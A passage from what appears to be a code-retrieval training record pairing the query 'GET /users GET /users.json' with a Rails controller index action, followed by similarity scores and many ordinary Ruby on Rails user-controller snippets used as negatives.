"def redirect_to_next_step(player, notice)\n if player.status_ok?(true)\n next_player_in_error = player.tournament.find_first_player_with_errors\n if next_player_in_error\n redirect_to [:admin, next_player_in_error], notice: notice\n else\n redirect_to [:admin, player.tournament], notice: notice\n end\n else\n redirect_to [:admin, player], notice: \"Not all problems fixed on this page, please fix and try again\"\n end\n end",
"def run\n while 1\n if step == 1 then break end\n end\n end",
"def valid_steps\n @valid_steps ||= self.steps\n end",
"def event_propagation_step(current_step)\n signalled, step_id, forward_info, call_info = next_event(current_step)\n\n next_step = nil\n if call_info\n source_events, source_generators, context = prepare_propagation(signalled, false, call_info)\n if source_events\n for source_ev in source_events\n source_ev.generator.signalling(source_ev, signalled)\n end\n\n if signalled.self_owned?\n next_step = gather_propagation(current_step) do\n propagation_context(source_events | source_generators) do |result|\n begin\n signalled.call_without_propagation(context) \n rescue Roby::EventNotExecutable => e\n add_error(e)\n rescue Roby::LocalizedError => e\n if signalled.command_emitted?\n add_error(e)\n else\n signalled.emit_failed(e)\n end\n rescue Exception => e\n if signalled.command_emitted?\n add_error(Roby::CommandFailed.new(e, signalled))\n else\n signalled.emit_failed(Roby::CommandFailed.new(e, signalled))\n end\n end\n end\n end\n end\n end\n\n if forward_info\n next_step ||= Hash.new\n next_step[signalled] ||= [@propagation_step_id += 1, nil, nil]\n next_step[signalled][1] ||= []\n next_step[signalled][1].concat forward_info\n end\n\n elsif forward_info\n source_events, source_generators, context = prepare_propagation(signalled, true, forward_info)\n if source_events\n for source_ev in source_events\n source_ev.generator.forwarding(source_ev, signalled)\n end\n\n # If the destination event is not owned, but if the peer is not\n # connected, the event is our responsibility now.\n if signalled.self_owned? || !signalled.owners.any? { |peer| peer != Roby::Distributed && peer.connected? }\n next_step = gather_propagation(current_step) do\n propagation_context(source_events | source_generators) do |result|\n begin\n event = signalled.emit_without_propagation(context)\n emitted_events << event\n rescue Roby::LocalizedError => e\n\t\t\t\t Roby.warn \"Internal Error: #emit_without_propagation emitted a LocalizedError exception. This is unsupported and will become a fatal error in the future. You should usually replace raise with engine.add_error\"\n Roby.display_exception(Roby.logger.io(:warn), e, false)\n add_error(e)\n rescue Exception => e\n\t\t\t\t Roby.warn \"Internal Error: #emit_without_propagation emitted an exception. This is unsupported and will become a fatal error in the future. You should create a proper localized error and replace raise with engine.add_error\"\n Roby.display_exception(Roby.logger.io(:warn), e, false)\n add_error(Roby::EmissionFailed.new(e, signalled))\n end\n end\n end\n end\n end\n end\n\n current_step.merge!(next_step) if next_step\n current_step\n end",
"def store_failure_on_next message\r\n raise 'Not supported in Selenium Core at the moment'\r\n end",
"def incrementStep\r\n if @openstudio_2\r\n super\r\n else\r\n # compute result\r\n current_result = result\r\n\r\n @workflow.incrementStep\r\n end\r\n end",
"def get_next\n\t\t\n\tend",
"def validate_step\n case action_name\n when 'protocol'\n validate_catalog\n when -> (n) { ['service_details', 'save_and_exit'].include?(n) }\n validate_catalog && validate_protocol\n when 'service_calendar'\n validate_catalog && validate_protocol && validate_service_details\n else\n validate_catalog && validate_protocol && validate_service_details && validate_service_calendar\n end\n end",
"def goToNextStep\n case @step\n when :unlockReset\n @step = :unlockHelps\n setHelpOnClick\n\n when :unlockFreezers\n @step = :unlockReset\n setResetOnClick\n\n when :unlockRedo\n @step = :unlockFreezers\n setFreezersOnClick\n\n when :unlockUndo\n @step = :unlockRedo\n setRedoOnClick\n\n when :unlockGrid\n @step = :unlockUndo\n setUndoOnClick\n\n when :unlockPause\n @step = :unlockGrid\n setGridOnClick\n\n when :intro\n @step = :unlockPause\n setPauseOnClick\n end\n end",
"def test_step; end",
"def first_step\n log(:start, :s1)\n do_step1\n log(:end, :s1)\n end"
] | [
"0.7344636",
"0.72298145",
"0.69111645",
"0.6673074",
"0.6626729",
"0.6489606",
"0.64854777",
"0.64048445",
"0.6333045",
"0.63223755",
"0.62552595",
"0.62164146",
"0.6188408",
"0.6183894",
"0.6120049",
"0.6107624",
"0.60964954",
"0.60677344",
"0.6057557",
"0.6050881",
"0.60289186",
"0.6024904",
"0.6022066",
"0.60175157",
"0.6013299",
"0.59818107",
"0.5968143",
"0.5959133",
"0.5959133",
"0.59577423",
"0.5952378",
"0.5941853",
"0.5927648",
"0.59002495",
"0.5895646",
"0.5895045",
"0.58840936",
"0.58837837",
"0.5877389",
"0.5860369",
"0.58594674",
"0.5854783",
"0.5845506",
"0.58430177",
"0.5831818",
"0.58259284",
"0.5822203",
"0.5822203",
"0.5818251",
"0.5781129",
"0.577907",
"0.57769734",
"0.57747716",
"0.57730395",
"0.57730395",
"0.5772365",
"0.57706606",
"0.57499427",
"0.57348245",
"0.5733557",
"0.57275593",
"0.5726485",
"0.5715428",
"0.57055753",
"0.57029945",
"0.56973195",
"0.5695484",
"0.5688866",
"0.56867224",
"0.5674732",
"0.5668507",
"0.5655255",
"0.5649364",
"0.5624359",
"0.5624359",
"0.5621146",
"0.56029874",
"0.5598791",
"0.5598791",
"0.559747",
"0.5597341",
"0.55945385",
"0.5591111",
"0.55799896",
"0.5575009",
"0.55710435",
"0.55710435",
"0.5543479",
"0.55335426",
"0.55290353",
"0.5528034",
"0.5527128",
"0.55259806",
"0.5522869",
"0.55204695",
"0.5519593",
"0.5519147",
"0.5515485",
"0.55049366",
"0.55044377",
"0.55037796"
] | 0.0 | -1 |
GET /users GET /users.json | def index
set_records_count_header @application.users
@users = @application.users.offset(params[:offset] || 0).limit(params[:limit] || 6).all
render json: @users
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def list_users\n self.class.get('/users')\n end",
"def users\n get('get_users')\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def users(params = {})\n params.merge!(key: 'users')\n objects_from_response(Code42::User, :get, 'user', params)\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def users(params = {})\n make_get_request('/account/users', params)\n end",
"def index\n users = User.all\n render json: users \n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n json_response(User.all) \n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def index\n users = User.all \n render json: users \n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @users.map(&:as_json) }\n\t\tend\n\tend",
"def list\n render json: User.all\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def index\n\n users = User.all \n render json: users\n\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html\n format.json { render json: @users }\n end\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n \t@users = User.all\n\n respond_to do |format| \n format.json { render json: @users }\n end\n end",
"def list\n get('users')['users']\n end",
"def index\n render ActiveModelSerializers::SerializableResource.new(@users,\n each_serializer: UserSerializer\n ).to_json, status: 200\n end",
"def index\n @users = User.all \n render json: @users, status: :ok \n end",
"def index\n @users = User.all\n logger.debug(\"user index\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n render json: User.all\n end",
"def index\n @users = User.order_by(last_name: :desc)\n if @users\n render json: Oj.dump(json_for(@users, include: ['phones', 'cards'], meta: meta), mode: :compat)\n else\n return head :unauthorized\n end\n end",
"def users(params = {})\n response = get('users/lookup.json', params)\n response.map {|user| Croudia::Object::User.new(user) }\n end",
"def index\n render json: User.all\n end",
"def index\n render json: User.all\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def list_users(user_id)\n self.class.get(\"/users/#{user_id}\")\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def index\n\t\t@users = User.all\n\n\t\trespond_to do |format|\n\t\t format.html # index.html.erb\n\t\t format.json { render json: @users }\n\t\tend\n\tend",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def get_users\r\n # Prepare query url.\r\n _path_url = '/users'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n decoded.map { |element| User.from_hash(element) }\r\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def index \n render json: User.all\n end",
"def index\n @myusers = Myuser.all\n\n render json: @myusers\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def query_users(options={}) path = \"/api/v2/users\"\n get(path, options, AvaTax::VERSION) end",
"def list\n response = @client.get(\"/users\")\n response[\"users\"].map {|u| User.new(@client, u) }\n end",
"def users\n\t\trespond_with User.all\n\tend",
"def index\n @users = User.all\n\n respond_with do |format|\n format.json do\n render json: @users,\n each_serializer: Api::UserSerializer,\n root: 'users'\n end\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end"
] | [
"0.82109934",
"0.7873764",
"0.7860689",
"0.78108346",
"0.78067017",
"0.7678852",
"0.76586664",
"0.76318866",
"0.7582366",
"0.75291824",
"0.7487637",
"0.74485743",
"0.7439024",
"0.7437192",
"0.7427442",
"0.73978853",
"0.73978853",
"0.73978853",
"0.73978853",
"0.7377353",
"0.7372414",
"0.736885",
"0.7368531",
"0.7367068",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7358582",
"0.7351495",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.7350187",
"0.73463756",
"0.73426867",
"0.7331111",
"0.73231107",
"0.73227614",
"0.73126787",
"0.7295692",
"0.7274169",
"0.7265484",
"0.72624177",
"0.72607577",
"0.722517",
"0.72189873",
"0.71941674",
"0.71883225",
"0.7187108",
"0.71815044",
"0.717089",
"0.71695215",
"0.7156781",
"0.71546155",
"0.71546155",
"0.7140691",
"0.7135879",
"0.7134857",
"0.71316093",
"0.71315825",
"0.712011",
"0.7114429",
"0.7112858",
"0.7107888",
"0.7098051",
"0.70957917",
"0.70957917",
"0.7093039",
"0.70904744",
"0.70890427",
"0.70889443",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7085115",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685",
"0.7081685"
] | 0.0 | -1 |
GET /users/1 GET /users/1.json | def show
render json: @user
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end",
"def show\n render json: User.find(params[\"id\"])\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\nend",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end",
"def show\n render json: User.find(params[:id])\n end",
"def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end",
"def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end",
"def show\n @user = User.find(params[:id])\n render json: {user: @user}\n end",
"def list_users\n self.class.get('/users')\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def show\n render :json => User.find(params[:id])\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response[\"user\"]\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def show\n @user = ActiveRecord::Base.connection.execute(\"\n SELECT * \n FROM users \n WHERE username = '#{params[:username].downcase}' \n LIMIT 1\").first\n\n respond_to do |format|\n format.html\n format.json {render json: User.find(@user[0])}\n end\n end",
"def show(id)\n response = request(:get, \"/users/#{id}.json\")\n response.first[1]\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def index\n json_response(User.all) \n end",
"def get(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def show\n # @user = User.first\n user = User.find(params[:id])\n render json: user\n end",
"def user(user_id, params = {})\n make_get_request(\"/users/#{user_id}\", params)\n end",
"def show_user_profile\n @user = User.find(username: params[:username])\n render json: @user\n end",
"def user(id = nil)\n id.to_i.zero? ? get('/user') : get(\"/users/#{id}\")\n end",
"def get_user id, options={}, headers={}\n @connection.get \"users/#{id}.json\", options, headers\n end",
"def user(user=nil)\n if user\n get(\"/users/#{user}\", {}, 3)\n else\n get(\"/user\", {}, 3)\n end\n end",
"def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @user }\n end\n end",
"def get_user(user_id:)\n parse(JSON.parse(connection.get(\"users/#{user_id}\").body))\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def show\n # puts params[:id]\n render json: User.find(params[:id])\n end",
"def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end",
"def show\n @user = User.find(params[:id])\n if @user\n render json: {\n user: @user\n }\n else\n render json: {\n status: 500,\n errors: ['user not found']\n }\n end\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def show\n @user = User.find(params[:id])\n render json: {\n username: @user.username,\n first_name: @user.first_name,\n last_name: @user.last_name,\n email: @user.email,\n phone_number: @user.phone_number,\n contacts: @user.contacts\n }, status: :ok\n end",
"def get_user(user_id)\n request(Route.new(:GET, '/users/%{user_id}', user_id: user_id))\n end",
"def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def index\n users = User.all\n render json: users \n end",
"def user(user_id)\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n get(\"users/#{user_id}.json\", params)\n end",
"def index\n users = User.all \n render json: users \n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def json_show_user_profile_by_user_id\n @user = User.find(params[:user_id])\n\n respond_to do |format|\n format.json { render json: @user.as_json(only:[:email,:username]) }\n end\n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def show\n user = User.find_by(uid: params[:id])\n if user\n puts 'USER FOUND'\n render json: user\n else\n puts 'NO USER'\n render json: 'no user'.to_json\n end\n end",
"def show\n render json: UserService.get_user(params[:id]), includes: 'questions, answers'\n end",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def index\n render :json => User.all, status: 200\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def show\n @users = User.find(params[:id])\n if @users\n respond_to do |format|\n format.json { render :json => @users }\n format.xml { render :xml => @users }\n end\n else\n head :not_found\n end\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end"
] | [
"0.81046426",
"0.7703556",
"0.77011716",
"0.76262826",
"0.7582106",
"0.74818",
"0.7461394",
"0.7446168",
"0.730656",
"0.7300699",
"0.72902125",
"0.72781444",
"0.72358584",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.72335744",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.7225407",
"0.72222257",
"0.72165024",
"0.72137505",
"0.72096044",
"0.71930283",
"0.7182953",
"0.7182144",
"0.7182144",
"0.7180289",
"0.71750754",
"0.7173851",
"0.71640617",
"0.71636444",
"0.71453786",
"0.7145053",
"0.7129776",
"0.71256554",
"0.71160513",
"0.7095665",
"0.70941204",
"0.70772994",
"0.7070785",
"0.7070607",
"0.7063351",
"0.70552826",
"0.7025071",
"0.7014598",
"0.70047677",
"0.6998373",
"0.69910055",
"0.6984177",
"0.6979766",
"0.6972448",
"0.6972228",
"0.6968384",
"0.69666255",
"0.6956339",
"0.69506294",
"0.6945614",
"0.6943135",
"0.69351804",
"0.6932212",
"0.6932212",
"0.6932212",
"0.6932212",
"0.6927094",
"0.69255126",
"0.6925136",
"0.6917375",
"0.6907744",
"0.68947464",
"0.6882589",
"0.6875701",
"0.68749416",
"0.68633634",
"0.6861618",
"0.6858055",
"0.6855495",
"0.68530583",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.685255",
"0.6849599",
"0.6847195",
"0.6847074",
"0.6847074"
] | 0.0 | -1 |
POST /users POST /users.json | def create
@user = @application.users.create(user_params)
if @user.valid?
render json: @user, status: :created, location: api_application_user_path(@application,@user)
else
render json: @user.errors, status: :unprocessable_entity
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def CreateUser params = {}\n \n APICall(path: 'users.json',method: 'POST',payload: params.to_json)\n \n end",
"def post body=nil, headers={}\n @connection.post \"users.json\", body, headers\n end",
"def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end",
"def create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end",
"def create\n user = User.create(user_params) \n render json: user, status: :created\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(form_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { users: @user }, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(\n username: user_params[:username],\n password: user_params[:password])\n if user.save\n create_example_collection(user)\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: user.errors.full_messages}\n end\n end",
"def create\n user= User.create(user_params)\n render json: user\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend",
"def create\n user = User.new(@user_info)\n if user.save && user.errors.empty?\n render json: { status: 200, data: UserSerializer.new(user).as_json }\n else\n render json: { status: 400, error: user.errors.full_messages }\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create(options = {})\n request(:post, '/users.json', default_params(options))\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.create user_params\n \n if @user.save\n respond_with(@user) do |format|\n format.json {render}\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
